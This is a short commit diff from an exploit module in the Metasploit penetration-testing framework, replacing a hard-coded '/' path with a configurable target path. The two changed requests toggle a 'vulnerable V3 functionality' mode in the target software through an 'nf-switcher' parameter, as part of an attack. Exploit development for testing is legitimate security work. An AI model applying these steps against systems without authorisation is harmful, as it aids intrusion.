Remove hard coded target path

bug/bundler_fix
rastating 2016-05-25 18:04:26 +01:00
parent adb8098b8c
commit 19c4d5b02b
1 changed files with 2 additions and 2 deletions

View File

@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status 'Enabling vulnerable V3 functionality...' print_status 'Enabling vulnerable V3 functionality...'
res = send_request_cgi( res = send_request_cgi(
'method' => 'GET', 'method' => 'GET',
'uri' => '/', 'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'upgrade' } 'vars_get' => { 'nf-switcher' => 'upgrade' }
) )
@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status 'Disabling vulnerable V3 functionality...' print_status 'Disabling vulnerable V3 functionality...'
res = send_request_cgi( res = send_request_cgi(
'method' => 'GET', 'method' => 'GET',
'uri' => '/', 'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'rollback' } 'vars_get' => { 'nf-switcher' => 'rollback' }
) )